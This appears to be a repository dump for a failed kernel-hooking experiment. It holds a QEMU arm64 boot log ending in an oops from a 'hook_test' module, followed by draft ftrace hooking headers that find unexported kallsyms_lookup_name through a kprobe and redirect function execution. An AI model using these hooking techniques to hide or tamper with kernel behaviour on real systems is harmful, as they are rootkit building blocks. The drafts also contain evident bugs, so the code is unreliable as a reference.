0.588159] usb usb5: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.04 372 | [ 0.588387] usb usb5: New USB device strings: Mfr=3, Product=2, SerialNumber=1 373 | [ 0.588568] usb usb5: Product: xHCI Host Controller 374 | [ 0.588811] usb usb5: Manufacturer: Linux 5.4.0-109-generic xhci-hcd 375 | [ 0.589412] usb usb5: SerialNumber: 0000:00:04.0 376 | [ 0.589629] hub 5-0:1.0: USB hub found 377 | [ 0.589732] hub 5-0:1.0: 4 ports detected 378 | [ 0.589893] usb usb6: We don't know the algorithms for LPM for this host, disabling LPM. 379 | [ 0.590101] usb usb6: New USB device found, idVendor=1d6b, idProduct=0003, bcdDevice= 5.04 380 | [ 0.590308] usb usb6: New USB device strings: Mfr=3, Product=2, SerialNumber=1 381 | [ 0.590497] usb usb6: Product: xHCI Host Controller 382 | [ 0.590620] usb usb6: Manufacturer: Linux 5.4.0-109-generic xhci-hcd 383 | [ 0.590779] usb usb6: SerialNumber: 0000:00:04.0 384 | [ 0.591026] hub 6-0:1.0: USB hub found 385 | [ 0.591321] hub 6-0:1.0: 4 ports detected 386 | [ 0.591907] mousedev: PS/2 mouse device common for all mice 387 | [ 0.592788] rtc-efi rtc-efi: registered as rtc0 388 | [ 0.592930] i2c /dev entries driver 389 | [ 0.593124] device-mapper: uevent: version 1.0.3 390 | [ 0.593326] device-mapper: ioctl: 4.41.0-ioctl (2019-09-16) initialised: dm-devel@redhat.com 391 | [ 0.594008] ledtrig-cpu: registered to indicate activity on CPUs 392 | [ 0.594206] EFI Variables Facility v0.08 2004-May-17 393 | [ 0.596280] drop_monitor: Initializing network drop monitor service 394 | [ 0.596540] NET: Registered protocol family 10 395 | [ 0.602456] Segment Routing with IPv6 396 | [ 0.602562] NET: Registered protocol family 17 397 | [ 0.602788] Key type dns_resolver registered 398 | [ 0.603138] registered taskstats version 1 399 | [ 0.603510] Loading compiled-in X.509 certificates 400 | [ 0.604837] Loaded X.509 cert 'Build time autogenerated kernel key: fa26c2d7e42dfd57960cd3ca7f1ab2cd75c0b229' 401 | [ 0.605487] Loaded X.509 cert 'Canonical Ltd. Live Patch Signing: 14df34d1a87cf37625abec039ef2bf521249b969' 402 | [ 0.606132] Loaded X.509 cert 'Canonical Ltd. Kernel Module Signing: 88f752e560a1e0737e31163a466ad7b70a850c19' 403 | [ 0.606387] blacklist: Loading compiled-in revocation X.509 certificates 404 | [ 0.606570] Loaded X.509 cert 'Canonical Ltd. Secure Boot Signing: 61482aa2830d0ab2ad5af10b7250da9033ddcef0' 405 | [ 0.606835] zswap: loaded using pool lzo/zbud 406 | [ 0.607101] Key type ._fscrypt registered 407 | [ 0.607329] Key type .fscrypt registered 408 | [ 0.613871] cryptd: max_cpu_qlen set to 1000 409 | [ 0.627697] Key type big_key registered 410 | [ 0.635299] Key type encrypted registered 411 | [ 0.635888] AppArmor: AppArmor sha1 policy hashing enabled 412 | [ 0.636964] integrity: Loading X.509 certificate: UEFI:MokListRT (MOKvar table) 413 | [ 0.637608] integrity: Loaded X.509 cert 'Canonical Ltd. Master Certificate Authority: ad91990bc22ab1f517048c23b6655a268e345a63' 414 | [ 0.637903] ima: No TPM chip found, activating TPM-bypass! 415 | [ 0.638048] ima: Allocated hash algorithm: sha1 416 | [ 0.638170] ima: No architecture policies found 417 | [ 0.638292] evm: Initialising EVM extended attributes: 418 | [ 0.638422] evm: security.selinux 419 | [ 0.638509] evm: security.SMACK64 420 | [ 0.638592] evm: security.SMACK64EXEC 421 | [ 0.638684] evm: security.SMACK64TRANSMUTE 422 | [ 0.638788] evm: security.SMACK64MMAP 423 | [ 0.638880] evm: security.apparmor 424 | [ 0.638966] evm: security.ima 425 | [ 0.639041] evm: security.capability 426 | [ 0.639131] evm: HMAC attrs: 0x1 427 | [ 0.640074] rtc-efi rtc-efi: setting system clock to 2022-04-21T22:26:41 UTC (1650580001) 428 | [ 0.642150] Freeing unused kernel memory: 6976K 429 | [ 0.664945] Checked W+X mappings: passed, no W+X pages found 430 | [ 0.665093] Run /init as init process 431 | [ 0.674600] random: systemd-udevd: uninitialized urandom read (16 bytes read) 432 | [ 0.676039] random: udevadm: uninitialized urandom read (16 bytes read) 433 | [ 0.676260] random: systemd-udevd: uninitialized urandom read (16 bytes read) 434 | [ 0.747415] virtio_blk virtio2: [vda] 134217728 512-byte logical blocks (68.7 GB/64.0 GiB) 435 | [ 0.757692] vda: vda1 vda2 436 | [ 0.764542] virtio_net virtio3 enp0s10: renamed from eth0 437 | [ 0.801663] [drm] pci: virtio-gpu-pci detected at 0000:00:01.0 438 | [ 0.802428] [drm] virgl 3d acceleration enabled 439 | [ 0.802714] [drm] EDID support available. 440 | [ 0.806577] [TTM] Zone kernel: Available graphics memory: 2005056 KiB 441 | [ 0.809565] [TTM] Initializing pool allocator 442 | [ 0.813126] [TTM] Initializing DMA pool allocator 443 | [ 0.813759] [drm] number of scanouts: 1 444 | [ 0.814192] [drm] number of cap sets: 2 445 | [ 0.819647] [drm] cap set 0: id 1, max-version 1, max-size 308 446 | [ 0.821430] [drm] cap set 1: id 2, max-version 2, max-size 768 447 | [ 0.822243] [drm] Initialized virtio_gpu 0.1.0 0 for virtio0 on minor 0 448 | [ 0.822936] checking generic (13bd00000 1d5000) vs hw (0 0) 449 | [ 0.823109] fbcon: Deferring console take-over 450 | [ 0.824360] virtio_gpu virtio0: fb1: virtio_gpudrmfb frame buffer device 451 | [ 0.848791] usb 5-1: new high-speed USB device number 2 using xhci_hcd 452 | [ 1.005932] usb 5-1: New USB device found, idVendor=0627, idProduct=0001, bcdDevice= 0.00 453 | [ 1.006154] usb 5-1: New USB device strings: Mfr=1, Product=3, SerialNumber=10 454 | [ 1.006359] usb 5-1: Product: QEMU USB Tablet 455 | [ 1.006470] usb 5-1: Manufacturer: QEMU 456 | [ 1.006567] usb 5-1: SerialNumber: 28754-0000:00:04.0-1 457 | [ 1.137193] usb 5-2: new high-speed USB device number 3 using xhci_hcd 458 | [ 1.293420] usb 5-2: New USB device found, idVendor=0627, idProduct=0001, bcdDevice= 0.00 459 | [ 1.293761] usb 5-2: New USB device strings: Mfr=1, Product=2, SerialNumber=9 460 | [ 1.294008] usb 5-2: Product: QEMU USB Mouse 461 | [ 1.294225] usb 5-2: Manufacturer: QEMU 462 | [ 1.294970] usb 5-2: SerialNumber: 89126-0000:00:04.0-2 463 | [ 1.426594] usb 5-3: new high-speed USB device number 4 using xhci_hcd 464 | [ 1.576027] usb 5-3: New USB device found, idVendor=0627, idProduct=0001, bcdDevice= 0.00 465 | [ 1.576357] usb 5-3: New USB device strings: Mfr=1, Product=4, SerialNumber=11 466 | [ 1.576726] usb 5-3: Product: QEMU USB Keyboard 467 | [ 1.577024] usb 5-3: Manufacturer: QEMU 468 | [ 1.579307] usb 5-3: SerialNumber: 68284-0000:00:04.0-3 469 | [ 1.713734] usb 5-4: new full-speed USB device number 5 using xhci_hcd 470 | [ 1.869821] usb 5-4: New USB device found, idVendor=0409, idProduct=55aa, bcdDevice= 1.01 471 | [ 1.870131] usb 5-4: New USB device strings: Mfr=1, Product=2, SerialNumber=3 472 | [ 1.870383] usb 5-4: Product: QEMU USB Hub 473 | [ 1.870525] usb 5-4: Manufacturer: QEMU 474 | [ 1.870659] usb 5-4: SerialNumber: 314159-0000:00:04.0-4 475 | [ 1.872675] hub 5-4:1.0: USB hub found 476 | [ 1.872985] hub 5-4:1.0: 8 ports detected 477 | [ 1.892195] hidraw: raw HID events driver (C) Jiri Kosina 478 | [ 1.897575] usbcore: registered new interface driver usbhid 479 | [ 1.897764] usbhid: USB HID core driver 480 | [ 1.900865] input: QEMU QEMU USB Tablet as /devices/pci0000:00/0000:00:04.0/usb5/5-1/5-1:1.0/0003:0627:0001.0001/input/input1 481 | [ 1.901503] hid-generic 0003:0627:0001.0001: input,hidraw0: USB HID v0.01 Mouse [QEMU QEMU USB Tablet] on usb-0000:00:04.0-1/input0 482 | [ 1.901900] input: QEMU QEMU USB Mouse as /devices/pci0000:00/0000:00:04.0/usb5/5-2/5-2:1.0/0003:0627:0001.0002/input/input2 483 | [ 1.902420] hid-generic 0003:0627:0001.0002: input,hidraw1: USB HID v0.01 Mouse [QEMU QEMU USB Mouse] on usb-0000:00:04.0-2/input0 484 | [ 1.902874] input: QEMU QEMU USB Keyboard as /devices/pci0000:00/0000:00:04.0/usb5/5-3/5-3:1.0/0003:0627:0001.0003/input/input3 485 | [ 1.968768] hid-generic 0003:0627:0001.0003: input,hidraw2: USB HID v1.11 Keyboard [QEMU QEMU USB Keyboard] on usb-0000:00:04.0-3/input0 486 | [ 2.068622] raid6: neonx8 gen() 24019 MB/s 487 | [ 2.117408] raid6: neonx8 xor() 20510 MB/s 488 | [ 2.164832] raid6: neonx4 gen() 23324 MB/s 489 | [ 2.165351] usb 5-4.1: new full-speed USB device number 6 using xhci_hcd 490 | [ 2.213360] raid6: neonx4 xor() 21104 MB/s 491 | [ 2.261468] raid6: neonx2 gen() 21495 MB/s 492 | [ 2.265664] usb 5-4.1: not running at top speed; connect to a high speed hub 493 | [ 2.266319] usb 5-4.1: New USB device found, idVendor=46f4, idProduct=0001, bcdDevice= 0.00 494 | [ 2.266529] usb 5-4.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 495 | [ 2.266713] usb 5-4.1: Product: QEMU USB HARDDRIVE 496 | [ 2.266834] usb 5-4.1: Manufacturer: QEMU 497 | [ 2.266935] usb 5-4.1: SerialNumber: 1-0000:00:04.0-4.1 498 | [ 2.270778] usb-storage 5-4.1:1.0: USB Mass Storage device detected 499 | [ 2.271454] scsi host0: usb-storage 5-4.1:1.0 500 | [ 2.272147] usbcore: registered new interface driver usb-storage 501 | [ 2.274360] usbcore: registered new interface driver uas 502 | [ 2.309373] raid6: neonx2 xor() 18988 MB/s 503 | [ 2.357059] raid6: neonx1 gen() 18324 MB/s 504 | [ 2.405299] raid6: neonx1 xor() 17870 MB/s 505 | [ 2.453368] raid6: int64x8 gen() 9775 MB/s 506 | [ 2.501061] raid6: int64x8 xor() 5203 MB/s 507 | [ 2.549383] raid6: int64x4 gen() 8126 MB/s 508 | [ 2.597286] raid6: int64x4 xor() 4319 MB/s 509 | [ 2.645386] raid6: int64x2 gen() 6221 MB/s 510 | [ 2.693384] raid6: int64x2 xor() 3376 MB/s 511 | [ 2.741450] raid6: int64x1 gen() 5005 MB/s 512 | [ 2.789407] raid6: int64x1 xor() 2700 MB/s 513 | [ 2.789553] raid6: using algorithm neonx8 gen() 24019 MB/s 514 | [ 2.789691] raid6: .... xor() 20510 MB/s, rmw enabled 515 | [ 2.789818] raid6: using neon recovery algorithm 516 | [ 2.792882] xor: measuring software checksum speed 517 | [ 2.833369] 8regs : 24196.000 MB/sec 518 | [ 2.872993] 32regs : 20644.000 MB/sec 519 | [ 2.913309] arm64_neon: 39768.000 MB/sec 520 | [ 2.913520] xor: using function: arm64_neon (39768.000 MB/sec) 521 | [ 2.915147] async_tx: api initialized (async) 522 | [ 2.965335] Btrfs loaded, crc32c=crc32c-generic 523 | [ 2.993839] EXT4-fs (vda2): mounted filesystem with ordered data mode. Opts: (null) 524 | [ 3.133910] systemd[1]: Inserted module 'autofs4' 525 | [ 3.145622] crng init done 526 | [ 3.145701] random: 7 urandom warning(s) missed due to ratelimiting 527 | [ 3.151259] systemd[1]: systemd 245.4-4ubuntu3.15 running in system mode. (+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid) 528 | [ 3.151847] systemd[1]: Detected virtualization qemu. 529 | [ 3.151978] systemd[1]: Detected architecture arm64. 530 | [ 3.172168] systemd[1]: Set hostname to . 531 | [ 3.294906] systemd[1]: Created slice system-modprobe.slice. 532 | [ 3.295414] systemd[1]: Created slice system-serial\x2dgetty.slice. 533 | [ 3.295901] systemd[1]: Created slice system-systemd\x2dfsck.slice. 534 | [ 3.296450] systemd[1]: Created slice User and Session Slice. 535 | [ 3.296881] systemd[1]: Started Forward Password Requests to Wall Directory Watch. 536 | [ 3.297497] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point. 537 | [ 3.298025] systemd[1]: Reached target User and Group Name Lookups. 538 | [ 3.298383] systemd[1]: Reached target Slices. 539 | [ 3.298693] systemd[1]: Listening on Device-mapper event daemon FIFOs. 540 | [ 3.299111] systemd[1]: Listening on LVM2 poll daemon socket. 541 | [ 3.299517] systemd[1]: Listening on multipathd control socket. 542 | [ 3.299905] systemd[1]: Listening on Syslog Socket. 543 | [ 3.300234] systemd[1]: Listening on fsck to fsckd communication Socket. 544 | [ 3.300664] systemd[1]: Listening on initctl Compatibility Named Pipe. 545 | [ 3.301121] systemd[1]: Listening on Journal Audit Socket. 546 | [ 3.301469] systemd[1]: Listening on Journal Socket (/dev/log). 547 | [ 3.301851] systemd[1]: Listening on Journal Socket. 548 | [ 3.302242] systemd[1]: Listening on Network Service Netlink Socket. 549 | [ 3.302786] systemd[1]: Listening on udev Control Socket. 550 | [ 3.303056] scsi 0:0:0:0: CD-ROM QEMU QEMU CD-ROM 2.5+ PQ: 0 ANSI: 5 551 | [ 3.304738] systemd[1]: Listening on udev Kernel Socket. 552 | [ 3.304794] sr 0:0:0:0: [sr0] scsi3-mmc drive: 16x/50x cd/rw xa/form2 cdda tray 553 | [ 3.305145] cdrom: Uniform CD-ROM driver Revision: 3.20 554 | [ 3.306012] systemd[1]: Mounting Huge Pages File System... 555 | [ 3.306843] systemd[1]: Mounting POSIX Message Queue File System... 556 | [ 3.308315] systemd[1]: Mounting Kernel Debug File System... 557 | [ 3.309569] systemd[1]: Mounting Kernel Trace File System... 558 | [ 3.311249] systemd[1]: Starting Journal Service... 559 | [ 3.315256] systemd[1]: Starting Set the console keyboard layout... 560 | [ 3.317743] systemd[1]: Starting Create list of static device nodes for the current kernel... 561 | [ 3.320533] systemd[1]: Starting Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling... 562 | [ 3.321842] systemd[1]: Condition check resulted in Load Kernel Module drm being skipped. 563 | [ 3.322125] systemd[1]: Condition check resulted in OpenVSwitch configuration for cleanup being skipped. 564 | [ 3.322866] systemd[1]: Condition check resulted in Set Up Additional Binary Formats being skipped. 565 | [ 3.323770] systemd[1]: Condition check resulted in File System Check on Root Device being skipped. 566 | [ 3.326097] systemd[1]: Starting Load Kernel Modules... 567 | [ 3.327331] systemd[1]: Starting Remount Root and Kernel File Systems... 568 | [ 3.329836] systemd[1]: Starting udev Coldplug all Devices... 569 | [ 3.331251] systemd[1]: Starting Uncomplicated firewall... 570 | [ 3.333073] EXT4-fs (vda2): re-mounted. Opts: (null) 571 | [ 3.334880] systemd[1]: Mounted Huge Pages File System. 572 | [ 3.336763] systemd[1]: Mounted POSIX Message Queue File System. 573 | [ 3.337291] systemd[1]: Mounted Kernel Debug File System. 574 | [ 3.337688] systemd[1]: Mounted Kernel Trace File System. 575 | [ 3.338547] systemd[1]: Finished Create list of static device nodes for the current kernel. 576 | [ 3.339512] lp: driver loaded but no devices found 577 | [ 3.341781] systemd[1]: Finished Remount Root and Kernel File Systems. 578 | [ 3.343318] systemd[1]: Finished Uncomplicated firewall. 579 | [ 3.344475] ppdev: user-space parallel port driver 580 | [ 3.345780] systemd[1]: Activating swap /swap.img... 581 | [ 3.346761] systemd[1]: Condition check resulted in Rebuild Hardware Database being skipped. 582 | [ 3.347323] systemd[1]: Condition check resulted in Platform Persistent Storage Archival being skipped. 583 | [ 3.350013] systemd[1]: Starting Load/Save Random Seed... 584 | [ 3.350032] IPMI message handler: version 39.2 585 | [ 3.351229] systemd[1]: Starting Create System Users... 586 | [ 3.352926] sr 0:0:0:0: Attached scsi CD-ROM sr0 587 | [ 3.352978] sr 0:0:0:0: Attached scsi generic sg0 type 5 588 | [ 3.353359] ipmi device interface 589 | [ 3.353562] systemd[1]: Started Journal Service. 590 | [ 3.364379] systemd-journald[444]: Received client request to flush runtime journal. 591 | [ 3.367008] systemd-journald[444]: File /var/log/journal/1d4ac57a2704420b9e147845f8159df1/system.journal corrupted or uncleanly shut down, renaming and replacing. 592 | [ 3.396910] Adding 4009980k swap on /swap.img. Priority:-2 extents:7 across:4501500k FS 593 | [ 3.826427] snd_hda_intel 0000:00:03.0: enabling device (0000 -> 0002) 594 | [ 3.826632] snd_hda_intel 0000:00:03.0: Force to snoop mode by module option 595 | [ 3.861795] snd_hda_codec_generic hdaudioC0D0: autoconfig for Generic: line_outs=1 (0x3/0x0/0x0/0x0/0x0) type:line 596 | [ 3.861797] snd_hda_codec_generic hdaudioC0D0: speaker_outs=0 (0x0/0x0/0x0/0x0/0x0) 597 | [ 3.861798] snd_hda_codec_generic hdaudioC0D0: hp_outs=0 (0x0/0x0/0x0/0x0/0x0) 598 | [ 3.861798] snd_hda_codec_generic hdaudioC0D0: mono: mono_out=0x0 599 | [ 3.861799] snd_hda_codec_generic hdaudioC0D0: inputs: 600 | [ 3.861800] snd_hda_codec_generic hdaudioC0D0: Line=0x5 601 | [ 3.937299] alua: device handler registered 602 | [ 3.938624] emc: device handler registered 603 | [ 3.940491] rdac: device handler registered 604 | [ 4.151720] audit: type=1400 audit(1650580005.008:2): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/man" pid=711 comm="apparmor_parser" 605 | [ 4.151722] audit: type=1400 audit(1650580005.008:3): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_filter" pid=711 comm="apparmor_parser" 606 | [ 4.151723] audit: type=1400 audit(1650580005.008:4): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_groff" pid=711 comm="apparmor_parser" 607 | [ 4.151724] audit: type=1400 audit(1650580005.008:5): apparmor="STATUS" operation="profile_load" profile="unconfined" name="libreoffice-senddoc" pid=713 comm="apparmor_parser" 608 | [ 4.152313] audit: type=1400 audit(1650580005.008:6): apparmor="STATUS" operation="profile_load" profile="unconfined" name="libreoffice-oopslash" pid=714 comm="apparmor_parser" 609 | [ 4.156511] audit: type=1400 audit(1650580005.012:7): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/sbin/tcpdump" pid=712 comm="apparmor_parser" 610 | [ 4.157520] audit: type=1400 audit(1650580005.016:8): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/sbin/cups-browsed" pid=710 comm="apparmor_parser" 611 | [ 4.159239] audit: type=1400 audit(1650580005.016:9): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=707 comm="apparmor_parser" 612 | [ 4.159242] audit: type=1400 audit(1650580005.016:10): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/lib/NetworkManager/nm-dhcp-helper" pid=707 comm="apparmor_parser" 613 | [ 7.249966] kauditd_printk_skb: 36 callbacks suppressed 614 | [ 7.249967] audit: type=1400 audit(1650605164.568:47): apparmor="DENIED" operation="capable" profile="/usr/sbin/cups-browsed" pid=830 comm="cups-browsed" capability=23 capname="sys_nice" 615 | [ 9.207376] rfkill: input handler disabled 616 | [ 10.682433] input: spice vdagent tablet as /devices/virtual/input/input4 617 | [ 14.634082] rfkill: input handler enabled 618 | [ 16.242348] input: spice vdagent tablet as /devices/virtual/input/input5 619 | [ 16.314090] rfkill: input handler disabled 620 | [ 115.377972] hook_test: loading out-of-tree module taints kernel. 621 | [ 115.378140] hook_test: module verification failed: signature and/or required key missing - tainting kernel 622 | [ 115.379104] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 623 | [ 115.379373] Mem abort info: 624 | [ 115.379447] ESR = 0x86000004 625 | [ 115.379528] EC = 0x21: IABT (current EL), IL = 32 bits 626 | [ 115.379662] SET = 0, FnV = 0 627 | [ 115.379739] EA = 0, S1PTW = 0 628 | [ 115.379821] user pgtable: 4k pages, 48-bit VAs, pgdp=00000001276b8000 629 | [ 115.379984] [0000000000000000] pgd=0000000000000000 630 | [ 115.380124] Internal error: Oops: 86000004 [#1] SMP 631 | [ 115.380249] Modules linked in: hook_test(OE+) nls_iso8859_1 dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_intel_dspcfg snd_hda_codec snd_hda_core snd_hwdep snd_pcm joydev input_leds snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq snd_seq_device snd_timer snd qemu_fw_cfg soundcore sch_fq_codel ipmi_devintf ipmi_msghandler ppdev lp parport virtio_rng ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor xor_neon uas usb_storage raid6_pq libcrc32c raid1 raid0 multipath linear hid_generic usbhid hid crct10dif_ce ghash_ce sha3_ce virtio_gpu sha3_generic sha512_ce ttm sha512_arm64 drm_kms_helper sha2_ce syscopyarea sha256_arm64 sysfillrect sysimgblt fb_sys_fops virtio_net sha1_ce net_failover drm failover virtio_blk aes_neon_bs aes_neon_blk aes_ce_blk crypto_simd cryptd aes_ce_cipher 632 | [ 115.383093] CPU: 0 PID: 2602 Comm: insmod Tainted: G OE 5.4.0-109-generic #123-Ubuntu 633 | [ 115.383415] Hardware name: QEMU QEMU Virtual Machine, BIOS 0.0.0 02/06/2015 634 | [ 115.383664] pstate: 40400005 (nZcv daif +PAN -UAO) 635 | [ 115.383839] pc : 0x0 636 | [ 115.383924] lr : fh_install_hook+0x2c/0xc8 [hook_test] 637 | [ 115.384107] sp : ffff80001279bb10 638 | [ 115.384255] x29: ffff80001279bb10 x28: 0000000000000000 639 | [ 115.384470] x27: ffffdeaea382a258 x26: ffffdeaeb96d96d8 640 | [ 115.384661] x25: 0000000000000000 x24: ffffdeaea382a0c0 641 | [ 115.384852] x23: 0000000000000000 x22: ffffdeaea382a0d8 642 | [ 115.385043] x21: ffffdeaeba919bd0 x20: ffff33f499b40000 643 | [ 115.385244] x19: ffffdeaea382a000 x18: 0000000000000000 644 | [ 115.385435] x17: 0000000000000000 x16: 0000000000000000 645 | [ 115.385734] x15: ffffffffffffffff x14: 0000000000000060 646 | [ 115.385923] x13: ffff33f499b40000 x12: 0000000000000018 647 | [ 115.386113] x11: 0101010101010101 x10: 0000000000000000 648 | [ 115.386302] x9 : 0000000000000000 x8 : ffff33f4e361dc00 649 | [ 115.386492] x7 : 0000000000000000 x6 : 000000000000003f 650 | [ 115.386701] x5 : 0000000000000040 x4 : 0000000000000000 651 | [ 115.386891] x3 : 0000000000000004 x2 : 0000000000000000 652 | [ 115.387080] x1 : 0000000000000000 x0 : ffffdeaea3829180 653 | [ 115.387273] Call trace: 654 | [ 115.387362] 0x0 655 | [ 115.387431] hook_test_mod_init+0x24/0x1000 [hook_test] 656 | [ 115.387664] do_one_initcall+0x54/0x260 657 | [ 115.387810] do_init_module+0x60/0x250 658 | [ 115.388089] load_module+0x101c/0x12f8 659 | [ 115.388243] __do_sys_finit_module+0xac/0x118 660 | [ 115.388400] __arm64_sys_finit_module+0x2c/0x38 661 | [ 115.388625] el0_svc_common.constprop.0+0xf4/0x200 662 | [ 115.389881] el0_svc_handler+0x38/0xa8 663 | [ 115.390170] el0_svc+0x10/0x180 664 | [ 115.390386] Code: bad PC value 665 | [ 115.390593] ---[ end trace a197d13baaa53bf3 ]--- 666 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/hook_v1.h: -------------------------------------------------------------------------------- 1 | // adapted from: https://gist.github.com/xcellerator/ac2c039a6bbd7782106218298f5e5ac1#file-ftrace_helper-h 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define USE_FENTRY_OFFSET 0 9 | #if !USE_FENTRY_OFFSET 10 | #pragma GCC optimize("-fno-optimize-sibling-calls") 11 | #endif 12 | 13 | struct ftrace_hook { 14 | const char *name; 15 | void *new; 16 | void *orig; 17 | 18 | unsigned long addr; 19 | struct ftrace_ops ops; 20 | } 21 | 22 | /* 23 | The prototype of the callback function is as follows (as of v4.14): 24 | 25 | void callback_func(unsigned long ip, unsigned long parent_ip, 26 | struct ftrace_ops *op, struct pt_regs *regs); 27 | 28 | @ip 29 | This is the instruction pointer of the function that is being traced. 30 | (where the fentry or mcount is within the function) 31 | @parent_ip 32 | This is the instruction pointer of the function that called the the function being traced 33 | (where the call of the function occurred). 34 | @op 35 | This is a pointer to ftrace_ops that was used to register the callback. 36 | This can be used to pass data to the callback via the private pointer. 37 | @regs 38 | If the FTRACE_OPS_FL_SAVE_REGS or FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops structure, 39 | then this will be pointing to the pt_regs structure like it would be if an breakpoint was placed at the start of the function where ftrace was tracing. 40 | Otherwise it either contains garbage, or NULL. 41 | */ 42 | static void callback_func(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *op, struct pt_regs *regs) { 43 | // ihttps://stackoverflow.com/questions/42966520/restoring-task-pt-regs-when-returning-to-original-function-from-ftrace-handler 44 | // find some way to preserve pt_regs 45 | regs->pc = (unsigned long) new; 46 | } 47 | 48 | void ftrace_install_hook(struct ftrace_hook *hook) { 49 | /* 50 | To register a function callback, a ftrace_ops is required. 51 | This structure is used to tell ftrace what function should be called as the callback as well as what protections the callback will perform and not require ftrace to handle. 52 | 53 | There is only one field that is needed to be set when registering an ftrace_ops with ftrace: 54 | 55 | struct ftrace_ops ops = { 56 | .func = my_callback_func, 57 | .flags = MY_FTRACE_FLAGS 58 | .private = any_private_data_structure, 59 | }; 60 | */ 61 | hook->ops.func = callback_func; 62 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 63 | | FTRACE_OPS_FL_RECURSION_SAFE 64 | | FTRACE_OPS_FL_IPMODIFY; 65 | 66 | // get the address of the function to hook by its name 67 | hook->addr = kallsyms_lookup_name(hook->name); 68 | if (hook->addr) { 69 | return -ENOENT; 70 | } 71 | 72 | #if USE_FENTRY_OFFSET 73 | *((unsigned long*) hook->orig) = hook->addr + MCOUNT_INSN_SIZE; 74 | #else 75 | *((unsigned long*) hook->orig) = hook->addr; 76 | #endif 77 | 78 | int err; 79 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 80 | if (err) { 81 | return err; 82 | } 83 | 84 | err = register_ftrace_function(&hook->ops); 85 | if (err) { 86 | return err; 87 | } 88 | 89 | return 0; 90 | } 91 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/hook_v2.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "debug.h" 7 | 8 | // struct ftrace_hook { 9 | // const char *name; 10 | // void *new; 11 | // void *orig; 12 | // 13 | // unsigned long addr; 14 | // struct ftrace_ops ops; 15 | // }; 16 | 17 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 18 | // in ftrace.h but not exported lol 19 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 20 | 21 | int get_kallsyms_lookup_name(void) { 22 | static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; 23 | if (register_kprobe(&kp) < 0) { 24 | return -ENOENT; 25 | } 26 | 27 | kallsyms_lookup_name_ = (kallsyms_lookup_name_t) kp.addr; 28 | pr_info("debug: kallsyms_lookup_name_ %p\n", kallsyms_lookup_name_); 29 | unregister_kprobe(&kp); 30 | return 0; 31 | } 32 | 33 | static int fh_get_func_addr(struct ftrace_hook *hook) { 34 | if (!kallsyms_lookup_name_) { 35 | get_kallsyms_lookup_name(); 36 | } 37 | hook->addr = kallsyms_lookup_name_(hook->name); 38 | pr_info("debug: hook->name %s\n", hook->name); 39 | pr_info("debug: hook->addr %p\n", hook->addr); 40 | if (!hook->addr) { 41 | return -ENOENT; 42 | } 43 | 44 | *((unsigned long*) hook->orig) = hook->addr; 45 | return 0; 46 | } 47 | 48 | static void fh_callback(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 49 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 50 | if (!within_module(parent_ip, THIS_MODULE)) { 51 | regs->pc = (unsigned long) hook->new; 52 | pr_info("debug: reached end of fh_callback\n"); 53 | } 54 | } 55 | 56 | int fh_install_hook(struct ftrace_hook *hook) { 57 | if (!hook) { 58 | return -ENOENT; 59 | } 60 | 61 | int err; 62 | err = fh_get_func_addr(hook); 63 | if (err) { 64 | pr_info("debug: fh_get_func_addr failed\n"); 65 | return err; 66 | } 67 | 68 | hook->ops.func = fh_callback; 69 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 70 | | FTRACE_OPS_FL_RECURSION_SAFE 71 | | FTRACE_OPS_FL_IPMODIFY; 72 | 73 | pr_info("debug: hook state after set func + flag"); 74 | debug_fh_hook(hook); 75 | 76 | // https://www.kernel.org/doc/html/v5.4/trace/ftrace-uses.html 77 | // hook->addr doesnt match /proc/kallsym 78 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 79 | // err = ftrace_set_filter(&(hook->ops), hook->name, strlen(hook->name), 0); 80 | if (err) { 81 | pr_info("debug: ftrace_set_filter_ip failed\n"); 82 | return err; 83 | } 84 | 85 | 86 | err = register_ftrace_function(&hook->ops); 87 | if (err) { 88 | pr_info("debug: register_ftrace_function failed\n"); 89 | return err; 90 | } 91 | 92 | return 0; 93 | } 94 | 95 | void fh_remove_hook(struct ftrace_hook *hook) { 96 | unregister_ftrace_function(&hook->ops); 97 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 98 | } 99 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/hook_v3.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 